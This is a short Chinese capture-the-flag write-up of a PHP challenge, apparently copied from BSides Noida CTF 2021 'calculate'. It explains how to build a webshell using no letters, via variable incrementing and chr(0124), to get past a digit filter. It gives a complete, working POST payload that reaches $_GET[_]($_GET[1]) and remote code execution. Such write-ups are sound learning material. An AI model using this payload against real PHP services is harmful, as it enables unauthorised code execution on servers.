复读机

这题我是抄的 BSides Noida CTF 2021 - calculate。

无字母 webshell 是 PHP 经常玩的东西了。

简而言之:通过自增来构造 payload,但还是超长。

注意到数字只过滤了 3|5|6|9,可以先构造 CHR 然后利用 chr(0124) 构造出字母 T。最后实现 $_GET[_]($_GET[1]),成功 RCE。

题目有多解,以下 payload 仅供参考:

POST /amaz1ng_sHell.php?_=exec&1=ls
payload=$C=C[0],++$C,$C2=++$C,++$C,$C1=++$C,$_=(C.++$C.$C=(C.[0])[2]),$C=${_.$C1.$C2.$_(0124)},$C[_]($C[1])

注意 payload 要 urlencode 一下再提交。